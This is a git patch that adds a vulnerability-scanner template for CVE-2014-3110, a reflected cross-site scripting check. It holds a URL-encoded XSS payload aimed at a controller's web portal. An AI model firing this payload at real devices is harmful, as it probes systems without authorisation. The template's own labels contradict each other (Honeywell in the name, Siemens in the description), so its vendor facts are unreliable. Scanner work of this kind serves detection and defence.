From f8771cea8fd11659383df19c7e5dd09fa2a23e76 Mon Sep 17 00:00:00 2001 From: Muhammad Daffa <36522826+daffainfo@users.noreply.github.com> Date: Mon, 6 Dec 2021 22:13:40 +0700 Subject: [PATCH] Create CVE-2014-3110.yaml --- cves/2014/CVE-2014-3110.yaml | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 cves/2014/CVE-2014-3110.yaml diff --git a/cves/2014/CVE-2014-3110.yaml b/cves/2014/CVE-2014-3110.yaml new file mode 100644 index 0000000000..9b22f17e87 --- /dev/null +++ b/cves/2014/CVE-2014-3110.yaml @@ -0,0 +1,25 @@ +id: CVE-2014-3110 + +info: + name: Honeywell XL Web Controller - Reflected Cross-Site Scripting + author: daffainfo + severity: medium + description: Cross-site scripting (XSS) vulnerability in the integrated web server on Siemens SIMATIC S7-1200 CPU devices 2.x and 3.x allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. + reference: https://www.exploit-db.com/exploits/44687 + tags: cve,cve2014,xss,siemens + +requests: + - method: GET + path: + - '{{BaseURL}}/Portal/Portal.mwsl?PriNav=Bgz&filtername=Name&filtervalue=%22%3E%3Cimg%20src%3Dx%20onerror%3Dprompt%281%29%3B%3E&Send=Filter' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - '">'